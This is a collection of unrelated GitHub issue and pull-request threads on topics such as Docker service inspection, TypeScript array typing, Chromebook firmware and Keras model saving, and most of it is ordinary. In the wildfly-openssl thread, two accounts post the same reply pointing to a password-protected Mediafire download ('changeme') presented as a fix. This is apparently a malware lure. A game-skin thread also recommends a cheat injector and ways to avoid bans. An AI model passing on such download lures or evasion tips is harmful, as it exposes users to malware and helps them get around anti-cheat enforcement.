Add list of failed task on service inspect

ping @aluzzardi @icecrime @stevvooe @tiborvass @dnephin

I think related docker/docker issue is https://github.com/docker/docker/issues/23706 (and https://github.com/docker/docker/issues/23811) 👼
LGTM 🐳

👎 If we are going to depart from the swarmkit model, we need to have different type. There is already a task endpoint to get failed tasks. This is the wrong approach.

@aluzzardi @icecrime @stevvooe @tiborvass @dnephin how about this ?

This data is already available through the tasks API. Why have two ways to get it?
It also reenforces the model that services have failures, when it is tasks that have failures.
I really think we need to have docker service ps cover this use case.

LGTM
I understand from an object modelling perspective it is not the nicest solution, but for UX service inspect is the most natural place to find these errors.
Either we need to break the convention of inspect returning a single API object, or we need this change. It sounds like others prefer this option.

I understand from an object modelling perspective it is not the nicest solution, but for UX service inspect is the most natural place to find these errors.

Other than the simple fact that services don't have errors and here we are, teaching users that services have errors.
Let's have a command that displays errors.

@stevvooe But a service can have an error in its definition, causing the tasks to fail.
What would be the workflow (from a user-perspective) if I create or update a service, and I see that my replicas stick at 0? What steps should I take to find the error?
(not trolling, just curious how that would work if we take the "correct" model)

@thaJeztah A service of that nature has a definition such that tasks created for that service result in errors. The issue here is that a misconfiguration may only be temporary. One example is that an image may not exist or be available at service creation time, but may be available later.
We say that such a service cannot "converge".
The appropriate troubleshooting methodology would be as follows:

Observe through UI that the service is non-converging (we could report using heuristics at the client or in orchestrator).
Investigate cause of task failures.

In swarmkit, this is very natural, since the concept of inspect is more of a status. Unfortunately, docker inspect isn't assembled with multiple API calls and default output isn't very usable, since it is JSON.
We can see the design mistake when we look at swarmctl service inspect:
$ bin/swarmctl service inspect echo
ID                : 3nb5zdmfrdv5g61zyfttxp8nh
Name              : echo
Replicas          : 1/1
Template
 Container
  Image           : alpine
  Command         : "sleep 1000"

Task ID                      Service    Slot    Image     Desired State    Last State                Node
-------                      -------    ----    -----     -------------    ----------                ----
bqa6jhjodm9rsv6onyhlj2rwd    echo       1       alpine    RUNNING          RUNNING 14 seconds ago    moby

If we update this to the wrong image:
$ bin/swarmctl service update --image wrongimage echo
$ bin/swarmctl service inspect echo
ID                : 3nb5zdmfrdv5g61zyfttxp8nh
Name              : echo
Replicas          : 0/1
Template
 Container
  Image           : wrongimage
  Command         : "sleep 1000"

Task ID                      Service    Slot    Image         Desired State    Last State                Node
-------                      -------    ----    -----         -------------    ----------                ----
abxcfkjrp6x9jno1hpyq7d3zm    echo       1       wrongimage    ACCEPTED         ACCEPTED 3 seconds ago    moby

We'll actually start seeing this flap between rejected and pre-starting states. One can drill down by inspecting tasks and see the error history, but we could show that information here, as well.
The solution here is a user-friendly command that is an assembly of API calls. I propose docker service status. This will let us experiment with the proper UX and not introduce hasty, incorrect changes into the API.

LGTM.

@aluzzardi found another way to display errors in a meaningful way without changing the API. I'm closing this one.


Improve chaining server-render helper functions

It was always a bit clunky that the constructor was used for this. Now, there is a first-class ChainedRenderFunctions type that can be used to accomplish the same thing.

Website preview is ready!
Built with commit bfd7d755cc19e9e1b9279368f1c2cf4d49dc7a9e
https://deploy-preview-628--reactnet.netlify.com/


Why my weapons skin is black

can you throw the weapon on the ground and pick it up again? also tab in and out
1 time

@M1XT3NZ I tried it and found no effect.

type record x;stop in console and put the wear of the weapon a bit up.

oh no i see what you did you put the wear up and scale and everything

Thanks, it's working!But why is this?

@gonjay or @M1XT3NZ can you tell me which injector are you using. Sorry asking this question again.

@gonjay or @M1XT3NZ can you tell me which injector are you using. Sorry asking this question again.

Dude this GitHub is not for asking those questions. You have access to the internet. http://lmgtfy.com/?q=best+undetected+injector

@gonjay or @M1XT3NZ can you tell me which injector are you using. Sorry asking this question again.

As you may not found what you like on google, I´m gonna tell you that I personally use RandoInjector no bans yet and I´ve been using it for months oh and btw remember changing and adding the junks of the source in order not to get banned.

we are not talking about injectors here.


wildfly-openssl (1.1.3.final)  artifacts does not contain native binaries for linux-aarch64

wildfly-openssl (1.1.3.final)  artifacts does not contain shared libraries for linux-aarch64 . leading to  build failure for my projects .Kindly help debug out the issue let me know if you need any help . Currently we have generated the jar file by adding support for linux-aarch64 but it doesnt ship  with  binaries by default

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@MirsonMboa @NikhilKumar77777  Can you point me out to the issue?


Allow undefined as the first argument of array.includes?

Shouldn't it be possible to use undefined as the first argument of array.includes and array.indexOf?
Consider the following example:
function example(obj: { name?: string }) {
  // Valid & safe JS, but fails type checking:
  ["a", "b", "c"].includes(obj.name);
}

This happens quite a few times in a codebase I'm working on. Some workarounds include:
function workarounds(obj: { name?: string }) {
  // Extra JavaScript for the sake of unnecessarily satisfying TypeScript
  obj.name && ["a", "b", "c"].includes(obj.name);

  // No extra JS, but violates ESLint rule @typescript-eslint/no-non-null-assertion
  ["a", "b", "c"].includes(obj.name!);
}

The last workaround using TypeScript's ! non-null assertion works, but violates @typescript-eslint/no-non-null-assertion
 which is part of typescript-eslint's recommended config. Also, ! wouldn't work in the following case:
function example2(obj?: { name: string }) {
  // Readable, valid & safe JS, but fails type checking
  ["a", "b", "c"].includes(obj?.name);

  // In this case, extra JS is needed to (unnecessarily) satisfy TypeScript
  obj?.name && ["a", "b", "c"].includes(obj.name);
}

Is there any benefit to disallowing undefined as the searchElement in array.includes?
I don't see any drawbacks to allowing it, but there are some clear benefits that I believe are in line with ts-reset's philosophy.

Its string[]. There definitely no undefined in it.

Agree with @ArthurKa, I don't see this widening as being useful.

I would agree with @Mathias-S that it would be really helpful, as it prevents additional runtime code only "caused" by the use of typescript:
function doStuff(ids: string[], activeId?: string) {
  // required TS code
  const activeIndex: number = activeId === undefined ? -1 : ids.indexOf(activeId);
  // valid JS code (with the same result)
  const activeIndex = ids.indexOf(activeId);
}

I would agree with @Mathias-S that it would be really helpful, as it prevents additional runtime code only "caused" by the use of typescript:
function doStuff(ids: string[], activeId?: string) {
  // required TS code
  const activeIndex: number = activeId === undefined ? -1 : ids.indexOf(activeId);
  // valid JS code (with the same result)
  const activeIndex = ids.indexOf(activeId);
}

And what about
function doStuff(ids: string[], activeId?: string | number) {

Allow number also? No. It doesn't seem to be right. You need some point to stop. Just string looks good to me.
Lots of JS valid code is not valid for TS type system. It's the main idea of TS. To restrict a lot of permissiveness.

IMO there is a difference between allowing undefined and allowing another type.
The widening for undefined handles somehow the "optional" behaviour of the indexOf argument.


Fix in the rockstar count.

I had a problem with rockstar speakers that I couldn't solve for hours.
The problem was rockstar count was 4 in the config but I provided 3 rockstars in speakers.yml
The problem can be solved by changing the config from 4 to 3 but it can drive people crazy. Because the website becomes broken and doesn't open.
This will ensure the count is always the right count and prevent website braking.

Thank you :)


Fix for yaml - https://github.com/advisories/GHSA-f9xv-q969-pqx4

Fix for moderate security warning on yaml module.

I only see package-lock.json; is this simply a version bump?

Correct.  It's a dep of a dep.

Gonna land this, since it's a security issue, and tests are OK.


Dynamic responseClass in the swagger.operation decorator

I have a restful resource that takes an argument specifying the database table that it should query.  The tables are each also set up as swagger models and the resource correctly returns results based on which one I choose to access.  The problem is that I can find no way to access the function's variables from the decorator so cannot assign a responseClass.
I am very new to understanding how decorators work: is it possible to override the decorator so that the function variables can be accessed?  Is there another means to access them (it knows about the required arguments somehow when it generates the documentation)?

In a different context I believe I found the solution, although I still need to implement this in swagger somehow.
def decorator(f):
  @wraps(f)
  def decorated(*args, **kwargs):

    if not kwargs['parameter']:
      return problem()
    return f(*args, **kwargs)
  return decorated


Adds blog article for using ent in serverless GraphQL using AWS

I am looking forward to this post 😱!

Thank you, I hope to complete the post by the end of this year :)

I'll review later this evening

I'll review later this evening

@masseelch if you need a test Postgres database, send me an email and I share my credentials.

I am impressed! :rocket:
Some minor comments - very nice work!
Sorry that I only submit the review now. Did not find time earlier :sob:

Thank you for the kind words and the detailed feedback!
I agree with almost all of your suggestions and try to update the PR today or tomorrow.
Best,
Bodo

@masseelch can you check the open conversations in your review?

@masseelch @a8m thank you both for your detailed feedback! I definitely learned many new things from the review :)
Is there anything left to do?
Ariel wanted to replace the first screenshots with downscaled versions that do not have a black background.
Maybe one wants to add a date to the filename?

This is great work! - thanks for being part of our community!

Merged! 🚀 ❤


CatalogJob: update the digests of tags

Enable the CatalogJob to update the digest of existing tags.
Resolves #828

Thanks :clap:


Icon component PropType update to FontAwesome 4.7.0

It appears the PropType validation for name on the Icon component needs to get updated to support the new FontAwesome 4.7.0 icons that were just added in the most recent SUI release.
Steps
Set the name property to "address book outline" on an Icon component or on a icon property for a List.Item component
Expected Result
The "address book outline" icon should show and there should be no console error for an invalid string passed.
Actual Result
The icon is rendered correctly but there is a console error:
Warning: Failed prop type: Invalid prop `name` of value `address book outline` supplied to `Icon`.

Instead of `address book outline`, did you mean:
  - disk outline
  - bell outline
  - hdd outline

Version
0.65.0 SUIR
2.2.9 SUI
Testcase
http://codepen.io/anon/pen/gmYGXZ

I just confirmed that this is also an issue in v0.66.0 of SUIR.

@layershifter I can see that these strings are coming from our SUI.js with a note saying the constant arrays were generated from the main icons CSS file in SUI proper. However... can't find anything that is automatically generating them. I assume this means those arrays were assembled manually then?
If there's no auto generating tool for this, I can take on this task and submit a PR on Friday.

I did it ✌

Moving forward, I think SUIR might benefit from having a way to pass other string arrays to the Icon component outside of the current FontAwesome icon offering. There are other icon libraries out there and it would be great to extend this component with other names. The CSS will of course be handled outside of SUIR, but the PropType validation I think would still be important.
It seems to me that in the case of the Icon component we are coupled to those styles.

Regarding extending the icon names, see #931 and #955

Thanks for the quick response, @levithomason. I was thinking in terms of the string name validation... but at the end of the day your position on that in this comment makes the most sense for keeping 1:1 with SUI.
I'm already using className to extend the Icon component in a few areas where I have an additional font library.
Do you think there would be any value to updating the docs with a note about doing this for an external/additional icon font library? I could do that.

However, I thing that my pr with updated SUI icon names/aliases array is still good for this case, and for any other custom icon take @levithomason solution

Quick clarification, SUI does not use FA classes: https://github.com/Semantic-Org/Semantic-UI-React/pull/1372#issuecomment-281736294

Do you think there would be any value to updating the docs with a note about doing this for an external/additional icon font library? I could do that.

Definitely value there, we're missing the top level comments that SUI core has.  We should add those:

@levithomason should I add it in my pr?

@kamdz that would be great.

@levithomason I can't :/ I tried to add something like that:
/**
 * An icon is a glyph used to represent something else.
 * Icons serve a very similar function to text in a page. In Semantic icons receive a special tag  which allow for an abbreviated markup when sitting along-side text.
 * Semantic includes a complete port of Font Awesome 4.7.0 designed by Dave Gandy for its standard icon set.

 * @see Image
 */

but it's not render well, it's look like a mess, and without hyperlinks. I give up this time, however without this, my pr is complete :)

Released in<EMAIL_ADDRESS>


Uncaught TypeError: Cannot read property 'children' of null from Breadcrumbs.tsx

🐛 Bug Report
Seeing a traceback in the console when using Breadcrumbs inside a Dialog.
This is a little tricky to reproduce, but my current hunch is it has to do with the Dialog the Breadcrumbs component is a child of being unmounted while Breadcrumbs is busy working on (checks notes) computing its visible items.
Part of the JSX, hopefully the relevant parts, looks like:
<DialogContainer onDismiss={close}>
      {isOpen && (
        <Dialog size="L">
          <Heading data-testid="menu-heading">
            <Breadcrumbs onAction={(key) => transitionTo(key)}>
              {parents.map((node) => (
                <Item key={node.key}>{node.value.name}</Item>
              ))}
            </Breadcrumbs>
          </Heading>
....

Anecdotally, it seems as though when this DialogContainer is a child of another component that unmounts, we see the error.
🤔 Expected Behavior

I'd hope the Breadcrumbs component would not throw this error.
😯 Current Behavior

Uncaught TypeError: Cannot read property 'children' of null
    at computeVisibleItems (Breadcrumbs.tsx:59)
    at Breadcrumbs.tsx:112
    at Generator.next (<anonymous>)
    at Object.nextRef.current (useValueEffect.ts:31)
    at Object.nextRef.current (useValueEffect.ts:43)
    at useValueEffect.ts:58
    at Breadcrumbs.tsx:107
    at ResizeObserver.<anonymous> (useResizeObserver.ts:33)

💁 Possible Solution

If I had to guess, the code in the ResizeObserver is running after unmount, sort of a "use after free" situation. Not sure how best to mitigate.
🔦 Context

💻 Code Sample

I have not been able to build a small targeted repro case. Sorry!
🌍 Your Environment

Software
Version(s)

react-spectrum
3.10.0

Browser
Chrome 91.0.4472.77

Operating System
Linux

🧢 Your Company/Team

🕷 Tracking Issue (optional)

@onelson I'm having a hard time reproducing this issue locally, mind expanding a bit further on what setup you have to get this error to occur? It sounds as if the dialog is being closed before the Breadcrumbs is finished fully rendering?
Judging from the error message though, we could add an additional check to see if listRef.current is defined and early return if not.

The case where I can reliably repro this in my app (unfortunately the code is not particularly trivial, and I can't share it :facepalm: :) is more like:

initiate something async that will cause the parent component to be unmounted.
open the dialog (a child of the parent).
the async op completes, unmounting the parent (and children).

The dialog and breadcrumbs appear to be fully rendered at the time of the unmount.
Seems as though the resize observer is running beyond the component's lifetime, in any case. It's almost like a "use after free" problem.
I can catch this in the act on video and share it if it's helpful, but I think the traceback is probably worth more.

The dialog is summoned via context click on a "tile"
A button in the dialog is pressed that will cause the tile to be removed and replaced with something else...
The dialog is dismissed (as a part of selecting that destructive action)
The dialog is summoned again (from the same tile) via context click...
wait...
boom!

https://user-images.githubusercontent.com/301388/122309018-5c277880-cec2-11eb-932a-64e4237a0a02.mp4

@onelson thanks for the extra info! A quick fix would to check that listRef.current exists at<EMAIL_ADDRESS>further investigation would need to be done regarding useResizeObserver calling resize after the component is unmounted

FYI, we ran into this same issue. resizeObserverInstance.unobserve(element); is being called on unmount (https://github.com/adobe/react-spectrum/blob/1e2b7f280a04ead83e21b27fa580eb189e5f4186/packages/%40react-aria/utils/src/useResizeObserver.ts#L39), which is good, but that happens after the resize observer has called Breadcrumbs' computeVisibleItems, which is too late.


Investigate Making AWS Cloud Map (service discovery) available to Members

User Story
As a MP Member
I want to use AWS Cloud Map for Amazon ECS service discovery
So that I have better service discovery for my cloud resources.
Value / Purpose
A couple of members have requested to use AWS Cloud Map for for Amazon ECS service discovery (see slack channels below). This ticket would be to look into what would need to be done to enable the use of this feature and if it's a quick/easy-win then implement it, or if not, write a follow-on ticket to enable it if it requires a lot of work.
If we rule this out again we should update the ADR to explain why it is not practical to provide the service.
Context / Background
This has previously been requested/considered here:
https://mojdt.slack.com/archives/C01A7QK5VM1/p1679316872741289
and here:
https://mojdt.slack.com/archives/C01A7QK5VM1/p1731059254624469
Useful Contacts
No response
Additional Information
No response
Definition of Done

[x] Investigate what needs to be done to enable members to use Cloud Map
[x] Implement solution to enable (or, if complex write a follow-on)
[x] Or update the ADR to explain why we are not enabling use of the service on MP

looked into cloud map and found there are two ways for the setup the first way is api only and the other way is api/dns the first one does not require a private dns entry while the second one does not and Auto-discovery is typically more challenging in API mode compared to DNS mode. In API mode, Cloud Map requires explicit service registration and doesn't automatically detect resources. You would need to:
Manually register instances
Use AWS SDK or API calls to register services
Explicitly manage service discovery through API calls
Automatic discovery is most native in DNS and private DNS namespace modes, which integrate more seamlessly with AWS services like ECS and EKS.

After talking with the team and explaining what cloud map can be used for and what is required to make it work in dns mode it has been decided that until there enough demand for the service it is a service we will not be adopting, as there are other ways for this to be accomplished
Started to write out the ADR and i need to arrange a chat with the user that requested it

https://github.com/ministryofjustice/modernisation-platform/pull/8663

Message sent to the interested partys

PR merged ADR created

I'm happy that this is complete. There will no doubt be plenty of discussions as to what a suitable solution should be but that's a different matter.


Error in App.cs where Application no more exist.

I get this error:
'Application' is a namespace but is used as a type 	Application
I receive this error in App.cs, installed with nuget, I installed the last pre-release ( 3 )

lern 2 code


Update the High Voltage youtube link to a working/valid one

The current link leads to a video that is unavailable:
Video unavailable
This video contains content from [Merlin] Beggars, who has blocked it on copyright grounds.

This new link seems to be the official video that Mr. Beggars would like to promote
Licensed to YouTube by
[Merlin] Beggars (on behalf of XL); LatinAutor, UMPG Publishing, CMRRA, SOLAR Music Rights Management, Warner Chappell, Sony ATV Publishing, LatinAutor - SonyATV, UBEM, and 9 Music Rights Societies

This should fix #274


Update: Open-Shell.Open-Shell-Menu version 4.4.191

https://github.com/Open-Shell/Open-Shell-Menu/issues/1711

[X] Have you signed the Contributor License Agreement?
[X] Have you checked that there aren't other open pull requests for the same manifest update/change?

[X] Does your manifest conform to the 1.5 schema?

Microsoft Reviewers: Open in CodeFlow

/AzurePipelines run


Pip Install Issue with python 3.4.2

Hi!
I'm trying to install django-pjax in a virtual env running with python 3.4.2 (the highest available for debian). The installation fails with the following error:
$ pip install django-pjax
Collecting django-pjax
  Using cached django-pjax-1.4.tar.gz
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "/tmp/pip-build-13670p7i/django-pjax/setup.py", line 17, in <module>
        long_description=read('README.rst'),
      File "/tmp/pip-build-13670p7i/django-pjax/setup.py", line 10, in read
        return open(os.path.join(os.path.dirname(__file__), fname)).read()
      File "/usr/lib/python3.4/encodings/ascii.py", line 26, in decode
        return codecs.ascii_decode(input, self.errors)[0]
    UnicodeDecodeError: 'ascii' codec can't decode byte 0xe2 in position 148: ordinal not in range(128)

The same error happens when installing the master:
$ pip install git+git://github.com/eventials/django-pjax.git

The problem is that the README.rst is UTF-8.
Thanks!
Note: There is no problem installing this in 3.4.3 or 3.5.

Have you solved this problem? My problem seems like yours:
    Complete output from command python setup.py egg_info:
    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "C:\Users\AppData\Local\Temp\pip-build-1169aa2q\django-pjax\setup.py", line 17, in <module>
        long_description=read('README.rst'),
      File "C:\Users\AppData\Local\Temp\pip-build-1169aa2q\django-pjax\setup.py", line 10, in read
        return open(os.path.join(os.path.dirname(__file__), fname)).read()
    UnicodeDecodeError: 'gbk' codec can't decode byte 0x9d in position 232: illegal multibyte sequence

    ----------------------------------------
Command "python setup.py egg_info" failed with error code 1 in C:\Users\AppData\Local\Temp\pip-build-1169aa2q\django-pjax\

And the version is 3.6.2, by the way, it woks well on py2.7

We are not using this anymore. I've implemented it directly.

In windows 10 Home w/ python 3.6.0 I get:

Collecting django-pjax==1.4 (from -r requirements\common.pip (line 35))
Using cached https://files.pythonhosted.org/packages/df/08/f662091f67609087f7f6c8b98e3b344279b3d01fd458d655a858193d9b01/django-pjax-1.4.tar.gz
Complete output from command python setup.py egg_info:

    Traceback (most recent call last):
      File "<string>", line 1, in <module>
      File "C:\Users\almenon\AppData\Local\Temp\pip-install-9eil03a0\django-pjax\setup.py", line 17, in <module>
        long_description=read('README.rst'),
      File "C:\Users\almenon\AppData\Local\Temp\pip-install-9eil03a0\django-pjax\setup.py", line 10, in read
        return open(os.path.join(os.path.dirname(__file__), fname)).read()
      File "f:\envw\lib\encodings\cp1252.py", line 23, in decode
        return codecs.charmap_decode(input,self.errors,decoding_table)[0]
    UnicodeDecodeError: 'charmap' codec can't decode byte 0x9d in position 232: character maps to <undefined>

Command "python setup.py egg_info" failed with error code 1 in C:\Users\almenon\AppData\Local\Temp\pip-install-9eil03a0\django-pjax\

I also get same error with python3.7.3 on windows10.
But I solved this by editing as bellow.
In read(fname) in setting.py, add encoding='utf8' in open function.

I also get same error with python3.7.3 on windows10.
But I solved this by editing as bellow.
In read(fname) in setting.py, add encoding='utf8' in open function.

Which setting.py? Do you have the modified repo you used?

Fixed by #11.


Falco not showing firmware menu nor grub menu

Hi,
I have updated my HP Chromebook 14 (Falco) to the latest version of the full firmware 20191125.
Before the update I was running the previous version 20191028 which worked perfectly fine.
My system runs Debian Bullseye.
After the update the firmware screen (black screen with white coreboot rabbit) is not shown anymore.
The Debian grub menu is not shown neither.
But if I wait a few seconds Debian boots normally.
If I press any key before Debian starts booting it remains on black screen forever and I have to shut down the system.
I think grub somehow works because if I increase the value of GRUB_TIMEOUT in the grub config file then it takes longer to start booting Debian.
But if I press any key before boot starts then nothing happens, even if I press enter which should just start booting Debian with the default options.
I cannot re-install the firmware from Debian because I get this:
Unable to read current firmware; cannot continue.

Either add 'iomem=relaxed' to your kernel parameters,
or trying running from a Live USB with a more permissive kernel (eg, Ubuntu).

I used to update the firmware using a Ubuntu live usb stick. But I cannot boot from a usb stick now as I cannot enter the firmware menu to do so.
Any suggestion on what to do to fix this issue?
Thanks.

Update:
Before Debian starts booting it literally looks like the screen is off as there is no light on the screen at all, the screen looks pure black, totally off.
It seems that Debian switches the screen on once it starts booting.

firstly, follow the instructions to add the required kernel param to your grub boot args.  Then reboot, and I'll have you pull the firmware boot log so I can see what's going on / why the backlight isn't coming on

Thanks for the quick response!
I have updated the kernel param which seems to work (I should have tried that in the past instead of booting with a usb stick every time I updated the firmware...)

ok, great. now if you can pull the firmware boot log for me and throw it on pastebin (eg) that would be great.
Download https://mrchromebox.tech/files/util/cbmem.tar.gz and extract, then run: sudo ./cbmem -1 > cbmem.log

Ok, I have pulled the logs. Pasted here:
https://pastebin.com/uaAbSsKf
I hope that helps. Thanks!

hmm, looks like the display was correctly initialized at 1366x768, so a bit baffling. Will likely need to have you flash a debug build and try to see what's going

That sounds good. Should I try re-flashing the firmware using firmware-util.sh as always to see whether that makes any difference?
Also, is there any way to go back to the previous version in case we cannot find what is causing this issue?

no, reflashing won't do anything useful. I'll provide you a different link to flash a test/debug build.
If we can't figure it out quickly, I'll revert to previous display init and post an updated build

@malomehi  shoot me an email (MrChromebox at gmail) and I'll provide you with a link to a test/debug build

Fantastic!!
Your test build works. I can access the firmware boot settings and grub is correctly displayed too.
The system also boots normally.

@MrChromebox  hi， I had the same problem。 my pixelbook2017（Beta version）Hope to get your help。

@Newgreenbird what exactly do you mean? there are no similar problems with the Pixelbook, and not sure what you mean by 'beta version.' Please start another topic as the issue with FALCO is unrelated to anything you might be experiencing on EVE

sorry，My equipment has been sold。测试版，据卖家说是实验室版本的机器，键盘和开关，与正式版有明显区别。cpu-M7 不是i7。chrome os 没有声音，和触摸板驱动。非常感谢您的 回复！我最近购买了三星chromebook pro m7-6y75 16G ram  64G rom   用您的bios，刷入win10。  cpu锁定在2.2Ghz,没有重力感应，没有声音，帐篷模式也缺少驱动。

发件人: MrChromebox<EMAIL_ADDRESS>发送时间: 2019年12月4日 16:34
收件人: MrChromebox/scripts<EMAIL_ADDRESS>抄送: Newgreenbird<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>主题: Re: [MrChromebox/scripts] Falco not showing firmware menu nor grub menu (#98)
@Newgreenbirdhttps://github.com/Newgreenbird what exactly do you mean? there are no similar problems with the Pixelbook, and not sure what you mean by 'beta version.' Please start another topic as the issue with FALCO is unrelated to anything you might be experiencing on EVE
―
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHubhttps://github.com/MrChromebox/scripts/issues/98?email_source=notifications&email_token=AN46M3ISD2LDUEZEDCQ7YSLQW7LX3A5CNFSM4JSN2LKKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEF5T6GI#issuecomment-561725209, or unsubscribehttps://github.com/notifications/unsubscribe-auth/AN46M3NNZR7ZD6Z2II6YUNDQW7LX3ANCNFSM4JSN2LKA.


Update copyright information in the footer

Current State of the Meshery.io site
The footer of the website says "© 2021 Layer5, Inc." -

Desired State of the Meshery.io site
It should instead say "© 2021 The Meshery Authors"

Contributor Resources

See the Contributing to Meshery.io Website section of the readme.md.

Fixed in commit https://github.com/layer5io/meshery.io/commit/a76124cff584d3b1af942a88ba90537b84f052a7


How to add more documents to an existing AIChat RAG database?

I'm trying to use AIChat's RAG (Retrieval Augmented Generation) feature. The documentation clearly explains how to initialize a new RAG database, but I haven't found any information on how to add more documents to an existing database.
The problem:
I have a working RAG database set up, but I'm unsure how to append new documents without recreating the database.
Configuration
model                   openrouter:microsoft/phi-3.5-mini-128k-instruct
max_output_tokens       -
temperature             -
top_p                   -
dry_run                 false
stream                  true
save                    false
keybindings             emacs
wrap                    no
wrap_code               false
function_calling        true
use_tools               -
agent_prelude           -
save_session            -
compress_threshold      4000
rag_reranker_model      -
rag_top_k               4
highlight               true
light_theme             false
env_file                C:\Users\XXXXX\AppData\Roaming\aichat\.env
config_file             C:\Users\XXXXX\AppData\Roaming\aichat\config.yaml
roles_dir               C:\Users\XXXXX\AppData\Roaming\aichat\roles
sessions_dir            C:\Users\XXXXX\AppData\Roaming\aichat\sessions
rags_dir                C:\Users\XXXXX\AppData\Roaming\aichat\rags
functions_dir           C:\Users\XXXXX\AppData\Roaming\aichat\functions
messages_file           C:\Users\XXXXX\AppData\Roaming\aichat\messages.md

Environment:
- os version: Windows 10
- aichat version: aichat 0.22.0
- terminal version: Windows PowerShell 5.1.19041.5007

You might be able to change the condition at the top of the yaml file for the database and the do .rebuild rag, but I haven't tested this

Thank you @jeanlucthumm! I think you're right, it seems in the aichat-rag.mp4 video that's just what is explained after creating a rag of the aichat-wiki.

Unfortunately, after further testing, while .rebuild works in some situations (which I'll outline below), it doesn't resolve the issue when appending new files sourced directly or adding new URLs. My current workaround involves setting the initial source(s) of the RAG to a directory (including subdirectories) and then rebuilding when new items are added. As mentioned, this method only works for local files within that directory structure, so URLs still cannot be appended.
That said, this is a step in the right direction!
(& thanks again for the suggestion, @jeanlucthumm.)

Each rag is an independent knowledge base. We do not encourage users to add or delete documents within it. Therefore, we do not provide the functionality to add or delete RAG documents.
For local files, it is recommended to place them in a single directory and then create the RAG from that directory. You can later update the files in that directory and use .rebuild rag to indirectly update the documents in the knowledge base.
For remote urls, it is recommended to create the RAG from website (<url>/**).  .rebuild rag will re-crawl the website and update the knowledge base.
Otherwise, you can only recreate the RAG.

Each rag is an independent knowledge base.

I think this is quite limiting and composable knowledge would be very interesting. It'd be great if you could combine knowledge (e.g. from two websites) as you need for the specific use case at hand.
For example, I'm sometimes starting to explore a subject with a single URL but then realize that additional context from another URL would be helpful. It'd be great to be able to add that, ideally without re-embedding everything.


Add EvaFuel - CKAN Public from Kerbal Stuff

This pull request was automatically generated by Kerbal Stuff on behalf of jenyaza01, to add EvaFuel - CKAN Public to CKAN.
Please direct questions about this pull request to jenyaza01.

This is the exact same mod as https://kerbalstuff.com/mod/198/EvaFuel (according to MD5 checksum of .dll) but with a new KerbalStuff page. jenyaza01 on the KS page says he'll try to maintain the mod. Looking up that same name on the ksp forum shows an account from 2013 with 0 posts. I think the way I want to proceed is to index the original with a hardcoded ksp_ver.


Sequential solving

Draft for sequential solving with lexicographic objective functions.
Part of #181.

This works, but is this what we want?
from pyjobshop.read import read
from pyjobshop.ortools import Solver
from pyjobshop import Objective

loc = "instances/FJSP/Naderi/2.fjs"
data = read(loc)
solver = Solver(data)
TIME_LIMIT = 20

values = []
for idx, objective in enumerate(
    [
        Objective.MAKESPAN,
        Objective.TOTAL_COMPLETION_TIME,
    ]
):
    if idx == 0:
        result = solver.solve(objective, TIME_LIMIT, log=True)
    else:
        result = solver.solve(
            objective, TIME_LIMIT, log=True, initial_solution=result.best
        )

    solver.add_objective_constraint(objective, int(result.objective))
    values.append(result.objective)

print(values)

This now works, but there are some open TODOs to which I have no answer yet:
from pyjobshop.read import read
from pyjobshop.ortools import Solver
from pyjobshop import Objective

loc = "instances/FJSP/Naderi/2.fjs"
data = read(loc)
solver = Solver(data)
TIME_LIMIT = 5

objectives = [Objective.MAKESPAN, Objective.TOTAL_COMPLETION_TIME]
result = solver.sequential_solve(
    objectives,
    TIME_LIMIT,
    log=True,
    num_workers=None,
)


Yii2 in Docker Apache 404

Yii2 in Docker not work correctly (exclude main page). If you request another route, will return 404 from Apache. Detail info here: https://gist.github.com/Subb98/fd7ec5023af3afeaed73fd6dd155101c

/move to yii2-docker


get_source_data non-numeric error

When I try to run the pipeline the following error appears:
Error in all0(object[lower.tri(object)]) :
  Argument must be numeric-like atomic vector
Calls: get_source_data ... <Anonymous> -> isTriangular -> isTriangular -> all0
Execution halted

Sometimes this error appears when we give outs/aggregation.csv to the input_expression parameter. Truncating aggregation.csv or changing it to filtered_feature_bc_matrix should do the job.
Though we're interested in taking aggregation.csv too in case we want to load each library and then merge rather than the aggregation. I will look into how to consolidate this.


Keras Save / Load with Eager

https://github.com/tensorflow/tensorflow/blob/ec357afc00c8fb0e9c99754afd78d47fc0ab2116/tensorflow/python/keras/engine/network.py#L1357-L1361
Since TensorFlow uses more and more of Eager execution.
Would it make sense to add a bit more verbose mention on how to save a non-graph model?
Just mentioning more explicitly the reason and linking tfe.Checkpoint docs would be already of great help.
Any objections?

agree, actually, why we limit to graph network at the beginning?

cc @fchollet and @alextp

@allenlavoie , assigning to you

I am not sure, if we need to adapt save method for Eager, but I would at least add an explicit reference to tfe.Checkpoint and docs, so once a person sees it she or he can figure out what to do next.
Please let me know if I can help

There is an effort to make Model.save work with TensorFlow formats (SavedModel). Right now it requires get_config() and from_config() to be implemented for subclassed Models, but that could change (@k-w-w has been iterating on tf.contrib.saved_model.save_keras_model).
On the doc issue, maybe we should reference save_weights/load_weights from save for now? Those work fine with subclassed Models (+eager). It won't save the Model, but neither does tf.train.Checkpoint. Happy to review a PR for that @lc0 , or I can get to it (but not super soon).

@allenlavoie just added a small reference.
Any better way to do it?

Since the fix is merged, I am closing the issue. Looking forward to the second stage. Thanks @allenlavoie for support!


Implement use of system fonts for linux platforms

Linux platform is the only supporting platform lacking system font now. We can use fontConfig library work done for tizen platform, to have system font support for linux/rpi platforms.
I also plan to do certain more refactors to FontSourceHandle and alfons::InputSource along with  this work.

Resolved by #1707


added Zellers Congruence

Updated to add arguments and help page. Let me know of any other improvements I can make. :+1:
mrvnmchm@M3-Q-X70-A:/some_folder/AllAlg/python$ python math/zellers_birthday.py --help
usage: zellers_birthday.py [-h] bday

Find out what day of the week you were born on Accepts birthday as a string in
mm-dd-yyyy or mm/dd/yyyy format

positional arguments:
  bday        Date as a string (mm-dd-yyyy or mm/dd/yyyy)

optional arguments:
  -h, --help  show this help message and exit
